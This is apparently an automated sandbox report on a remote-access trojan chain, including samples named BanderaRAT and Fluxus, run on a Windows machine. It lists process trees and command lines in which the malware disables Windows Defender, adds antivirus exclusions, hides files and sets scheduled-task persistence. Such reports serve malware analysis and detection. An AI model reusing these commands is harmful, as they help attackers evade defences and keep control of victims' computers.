Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\svchоst.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2560 wrote to memory of 3656 N/A C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2560 wrote to memory of 3656 N/A C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2560 wrote to memory of 1180 N/A C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe C:\Windows\System32\Conhost.exe
PID 2560 wrote to memory of 1180 N/A C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe C:\Windows\System32\Conhost.exe
PID 3656 wrote to memory of 2132 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 3656 wrote to memory of 2132 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 3656 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 3656 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 2132 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2132 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2132 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 2132 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1180 wrote to memory of 116 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe
PID 1180 wrote to memory of 116 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe
PID 1180 wrote to memory of 4016 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\sisk.exe
PID 1180 wrote to memory of 4016 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\sisk.exe
PID 1092 wrote to memory of 2260 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1092 wrote to memory of 2260 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1092 wrote to memory of 4132 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1092 wrote to memory of 4132 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 116 wrote to memory of 3656 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\XClient.exe
PID 116 wrote to memory of 3656 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\XClient.exe
PID 2260 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2260 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2260 wrote to memory of 3628 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 2260 wrote to memory of 3628 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 116 wrote to memory of 3928 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 116 wrote to memory of 3928 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 116 wrote to memory of 3928 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 116 wrote to memory of 3564 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 116 wrote to memory of 3564 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 3564 wrote to memory of 3248 N/A C:\ProgramData\Built.exe C:\ProgramData\Built.exe
PID 3564 wrote to memory of 3248 N/A C:\ProgramData\Built.exe C:\ProgramData\Built.exe
PID 116 wrote to memory of 4052 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 116 wrote to memory of 4052 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 116 wrote to memory of 4052 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 3660 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 3660 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 3660 wrote to memory of 2480 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 3660 wrote to memory of 2480 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 2084 wrote to memory of 400 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 2084 wrote to memory of 400 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 2084 wrote to memory of 1612 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 2084 wrote to memory of 1612 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 3628 wrote to memory of 3952 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 3628 wrote to memory of 3952 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 3628 wrote to memory of 1204 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 3628 wrote to memory of 1204 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 3656 wrote to memory of 1392 N/A C:\ProgramData\XClient.exe C:\Windows\System32\schtasks.exe
PID 3656 wrote to memory of 1392 N/A C:\ProgramData\XClient.exe C:\Windows\System32\schtasks.exe
PID 1740 wrote to memory of 3988 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1740 wrote to memory of 3988 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1740 wrote to memory of 1852 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1740 wrote to memory of 1852 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 3628 wrote to memory of 3156 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\SYSTEM32\schtasks.exe
PID 3628 wrote to memory of 3156 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\SYSTEM32\schtasks.exe
PID 3628 wrote to memory of 1416 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\SYSTEM32\schtasks.exe
PID 3628 wrote to memory of 1416 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\SYSTEM32\schtasks.exe
PID 3628 wrote to memory of 4064 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 3628 wrote to memory of 4064 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 3628 wrote to memory of 1824 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3628 wrote to memory of 1824 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3988 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Windows\System32\Conhost.exe
PID 3988 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Windows\System32\Conhost.exe

Uses Task Scheduler COM API

persistence

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe

"C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1344 --field-trial-handle=2356,i,13261194862334667799,7441241219475888176,262144 --variations-seed-version /prefetch:8

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

"C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

"C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe"

C:\Users\Admin\AppData\Local\Temp\sisk.exe

"C:\Users\Admin\AppData\Local\Temp\sisk.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\ProgramData\XClient.exe

"C:\ProgramData\XClient.exe"

C:\ProgramData\Cheat.exe

"C:\ProgramData\Cheat.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\ProgramData\Built.exe

"C:\ProgramData\Built.exe"

C:\ProgramData\Built.exe

"C:\ProgramData\Built.exe"

C:\ProgramData\Fluxus V7.exe

"C:\ProgramData\Fluxus V7.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost\$77svchost.exe"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost\$77svchost.exe"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchоst" /tr "C:\ProgramData\svchоst.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\SYSTEM32\schtasks.exe

"schtasks.exe" /query /TN ssbobr2.0.exe

C:\Windows\SYSTEM32\schtasks.exe

"schtasks.exe" /Create /SC ONCE /TN "ssbobr2.0.exe" /TR "C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe \"\ssbobr2.0.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST

C:\Windows\SYSTEM32\schtasks.exe

"schtasks.exe" /query /TN ssbobr2.0.exe

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Built.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Built.exe'

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sisk.exe'

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\ProgramData\svchоst.exe

C:\ProgramData\svchоst.exe

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sisk.exe'

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7872.tmp.bat""

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\timeout.exe

timeout 3

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\svchost\$77svchost.exe

"C:\Users\Admin\svchost\$77svchost.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\ProgramData\svchоst.exe

C:\ProgramData\svchоst.exe

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\Windows.exe

"C:\Users\Admin\AppData\Local\Temp\Windows.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "C:\ProgramData\Cheat.exe"

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 5

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

Network

Country Destination Domain Proto
GB 142.250.178.10:443 tcp
US 8.8.8.8:53 81.171.91.138.in-addr.arpa udp
US 13.107.253.64:443 tcp
US 8.8.8.8:53 114.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 190.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
